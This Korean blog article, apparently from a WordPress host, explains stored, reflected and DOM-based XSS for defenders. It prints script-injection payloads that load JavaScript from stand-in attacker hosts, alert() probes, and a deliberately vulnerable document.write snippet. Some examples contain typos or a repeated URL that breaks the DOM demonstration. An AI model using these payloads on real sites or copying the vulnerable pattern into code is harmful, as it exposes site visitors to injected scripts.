XSS(교차 사이트 스크립팅) 공격 유형

게시 됨: 2022-11-04

WordPress 및 교차 사이트 스크립팅에 대한 이전 기사에서 이러한 유형의 공격이 무엇이며 이를 방지할 수 있는 방법에 대해 높은 수준에서 살펴보았습니다. 이 문서에서는 일부 교차 사이트 스크립팅 예제와 함께 몇 가지 세부 정보를 자세히 살펴보겠습니다. 갑시다!

영구 XSS

영구 XSS(또는 저장된 XSS)는 사이트 간 스크립팅의 주요 유형 중 하나입니다. 공격자가 주입한 내용이 나중에 사용할 수 있도록 서버에 영구적으로 저장되기 때문에 이를 영구적이라고 합니다. 방문자가 특정 페이지를 방문할 때마다 로드 시 또는 특정 기능이 호출될 때 브라우저에서 코드가 실행됩니다.

영구 XSS 예:

게시물 아래의 댓글 섹션에 누군가가 간단한 답변/의견과 함께 경고 스크립트를 입력한다고 가정해 보겠습니다.

 Great solution! It works for me.<script>alert("Some text message")</script>

댓글 섹션이 취약하고 제출된 댓글이 삭제되지 않은 경우 이 코드는 데이터베이스에 저장됩니다. 결과적으로 그때부터 페이지가 (누군가에 의해) 로드되고 모든 댓글과 함께 "나쁜 댓글"이 표시될 때마다 메시지와 함께 팝업 창이 나타납니다.

물론 경고 메시지는 성가실 수 있지만 실제로 해롭지는 않습니다. 그러나 공격자가 다음과 같은 경고 메시지 대신 악성 스크립트를 삽입하면 어떻게 됩니까?

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

성가신 팝업 대신 최종 사용자는 XSS 공격을 경험하게 됩니다. 피해는 실행되는 코드의 종류에 따라 달라집니다. 이것이 Stored XSS 공격이 매우 위험한 것으로 간주되는 이유입니다. 그들은 모든 사용자를 공격하고 사용자로부터 어떤 입력도 요구하지 않습니다(처음에 페이지를 여는 막대).

비영구적 XSS

지속적 XSS만큼 위험하지는 않지만 비지속적(또는 반사적) XSS는 여전히 문제가 있습니다. 가장 일반적인 유형의 크로스 사이트 스크립팅 공격으로 인식되기 때문입니다.

기본적으로 비지속적 XSS 공격에서 발생하는 일은 최종 사용자가 악의적인 링크를 클릭하여 잘못된 코드 실행을 유발하는 다른 웹사이트로 보내는 것입니다. 공격은 조작된 URL 또는 HTTP 매개변수를 통해 이루어지며 Persistent XSS와 같이 데이터베이스에 영구적으로 저장되지 않습니다.

그러나 비지속적인 공격을 수행하기 전에 공격자는 웹 사이트가 XSS 공격에 취약한지 여부를 식별해야 합니다. 이를 수행하는 한 가지 방법은 웹사이트의 내부 검색 엔진을 사용하는 것입니다. "신발"이라는 문자열을 입력하여 검색하고 버튼을 누르면 다음과 같은 기능이 실행됩니다.

 http://exampledomain.com?query=shoes

그러나 함수가 실행되기 전에 검색 양식이 악의적인 입력으로부터 안전하도록 입력한 문자열이 삭제되거나 최소한 삭제되어야 합니다.

공격자는 검색 양식을 사용하여 다음과 같은 스크립트를 입력하려고 시도할 수 있습니다.

 <script type="text/javascript">alert("vulnerable");</script>

양식이 삭제되지 않으면 함수가 정상적으로 실행됩니다.

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

이렇게 하면 (이 예에서) 경고 팝업이 표시됩니다. 이것은 공격자가 검색 양식에 XSS 취약점이 있음을 알고 있을 때입니다.

비영구적 XSS 예제

사이트에서 취약점이 발견되는 경우 공격자는 다음과 같은 URL을 생성하도록 선택할 수 있습니다.

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

그런 다음 URL을 '마스크'하여 '나쁜' 링크처럼 보이지 않도록 하고 다른 사람들이 이 링크를 클릭하도록 권장합니다. 일반적으로 이것은 스팸 이메일을 보내거나 포럼에 링크를 포함하는 것일 수 있습니다.

DOM 기반 XSS

DOM 기반 XSS(또는 클라이언트 측 XSS) 사고 중에 악성 코드가 포함된 URL을 통해 공격이 전달됩니다.

또한 피해자의 브라우저에서 실행되기 때문에 클라이언트 측 취약점으로 간주되지만 여기서 발생하는 일은 DOM의 일부가 변경되어 클라이언트가 동의 없이 코드를 실행하게 하는 것입니다.

Pressidium으로 웹사이트 호스팅

60일 환불 보장

계획 보기

참고: DOM(Document Object Model)은 실제 웹 페이지에 스크립팅 언어를 연결하여 웹 페이지의 레이아웃 구조를 정의하는 인터페이스입니다. 이를 달성하기 위해 개발자는 문서에 액세스하고 내용을 업데이트하기 위한 작업을 실행할 수 있습니다.

DOM 기반 XSS 예:

DOM 기반 교차 사이트 스크립팅 공격의 예는 거주 국가와 같은 옵션을 선택할 수 있는 양식으로 시연할 수 있습니다. 아래 예를 통해 이것이 어떻게 진행되는지 살펴보겠습니다.

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

따라서 양식에서 선택한 옵션이 있는 페이지는 다음과 같은 URL을 통해 액세스할 수 있습니다.

 http://localhost/?country=Lithuania

그러나 이와 같은 항목을 시도하면(아래 참조) 브라우저는 해당 문자열을 포함하는 DOM 객체를 생성하고 스크립트를 실행합니다.

 http://localhost/?country=Lithuania

이는 양식이 보호되지 않고 초기 코드가 HTML 마크업에 대해 준비되지 않았기 때문에 발생합니다. 그래서 그것이 하는 일은 페이지에 DOM을 그리고 악성 스크립트를 실행하는 것입니다.

XSS 공격은 너무 일반적입니다. 자신을 최대한 보호하는 간단한 방법은 WordPress 웹사이트에서 플러그인을 항상 최신 상태로 유지하고 고품질 호스트를 사용하는 것입니다. 이 예를 통해 이러한 유형의 공격이 어떻게 작동하고 무엇을 주의해야 하는지에 대한 아이디어를 얻으셨기를 바랍니다.